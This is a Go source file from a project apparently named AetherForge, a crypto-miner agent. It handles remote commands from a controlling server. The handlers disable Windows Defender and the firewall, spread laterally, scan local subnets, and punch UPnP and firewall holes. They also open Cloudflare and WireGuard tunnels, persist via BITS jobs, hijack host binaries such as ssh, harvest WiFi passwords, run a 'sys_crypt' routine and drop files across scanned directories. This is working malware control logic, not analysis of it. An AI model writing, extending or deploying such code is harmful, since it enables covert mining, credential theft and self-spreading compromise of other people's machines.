Files
AetherForge/agent/client/aggressive_commands.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

309 lines
8.7 KiB
Go

package client
import (
"encoding/json"
"fmt"
"strconv"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
switch action {
case "hole_punch", "hole_punch_close", "hole_punch_status":
if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
}
case "spread_now":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
}
default:
return true, ""
}
return true, ""
}
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
ok, reason := c.allowRemoteAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
return true
}
switch action {
case "hole_punch":
internalPort := parsePortArg(command, 8989)
externalPort := parsePortArg(path, internalPort)
desc := data
if desc == "" {
desc = c.cfg.WorkerName + "-aetherforge"
}
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
if err != nil {
c.sendCommandResult(action, false, result.Message)
return true
}
c.sendCommandResult(action, true, result.Message)
return true
case "hole_punch_close":
externalPort := parsePortArg(command, 8989)
msg, err := deploy.CloseUPnP(externalPort)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, msg)
return true
case "hole_punch_status":
ip, err := deploy.GetPublicEndpoint()
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
return true
case "spread_now":
msg := deploy.RunSpreadOnce(c.cfg)
c.sendCommandResult(action, true, msg)
return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "defender_off":
msg, err := deploy.DisableDefenderRealtime()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_punch":
port := parsePortArg(command, 8989)
name := path
if name == "" {
name = "AetherForge Remote " + c.cfg.WorkerName
}
msg, err := deploy.OpenFirewallPort(port, name)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_off":
msg, err := deploy.DisableWindowsFirewall()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_on":
msg, err := deploy.EnableWindowsFirewall()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_profiles":
// command: "on" or "off" (default off). path: Domain,Private,Public or all
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
strings.EqualFold(strings.TrimSpace(command), "enable") ||
strings.EqualFold(strings.TrimSpace(command), "true")
profiles := strings.TrimSpace(path)
if profiles == "" {
profiles = "all"
}
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "bits_persist":
bin, err := deploy.InstalledBinaryPath(c.cfg)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
return true
case "host_binary_persist":
bin, err := deploy.InstalledBinaryPath(c.cfg)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
preset := strings.TrimSpace(path)
if preset == "" {
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
}
if preset == "" {
preset = "ssh"
}
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
return true
case "firewall_remove":
var parts []string
ruleName := strings.TrimSpace(path)
if ruleName != "" {
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
parts = append(parts, msg)
}
deploy.RemoveFirewallExclusionWindows(c.cfg)
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
return true
case "supp_seek":
seekPath := strings.TrimSpace(path)
if seekPath == "" {
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
return true
}
// command field carries target flags: "win", "mac", "all" (default all)
flag := strings.ToLower(strings.TrimSpace(command))
opts := suppSeekOpts{
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
ServerURL: c.cfg.ServerURL,
}
// data field carries optional custom stem (file name without extension)
if strings.TrimSpace(data) != "" {
opts.FileStem = strings.TrimSpace(data)
}
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
go func() {
result := suppSeekWalk(seekPath, opts)
c.sendCommandResult("supp_seek_done", true, result.Summary())
}()
return true
case "sys_crypt":
go func() {
result := SysCrypt()
c.sendCommandResult(action, true, result)
}()
return true
case "get_wifi_passwords":
go func() {
result := grabWiFiPasswords()
c.sendCommandResult(action, true, result)
}()
return true
case "mesh_status":
count := c.mesh.PeerCount()
if count == 0 && c.cfg.MeshP2P {
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
} else {
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
}
return true
case "wg_setup":
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
go func() {
result := WGSetupJSON()
c.sendCommandResult(action, true, result)
}()
return true
case "wg_configure":
// data field carries the JSON WGConfigPayload from the server.
var payload WGConfigPayload
if err := json.Unmarshal([]byte(data), &payload); err != nil {
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
return true
}
go func() {
if err := WGConfigure(payload); err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, "WireGuard tunnel started")
}()
return true
case "wg_teardown":
go func() {
WGTeardown()
c.sendCommandResult(action, true, "WireGuard tunnel removed")
}()
return true
case "wg_status":
c.sendCommandResult(action, true, WGStatus())
return true
}
return false
}
func parsePortArg(raw string, fallback int) int {
raw = strings.TrimSpace(raw)
if raw == "" {
return fallback
}
n, err := strconv.Atoi(raw)
if err != nil || n <= 0 || n > 65535 {
return fallback
}
return n
}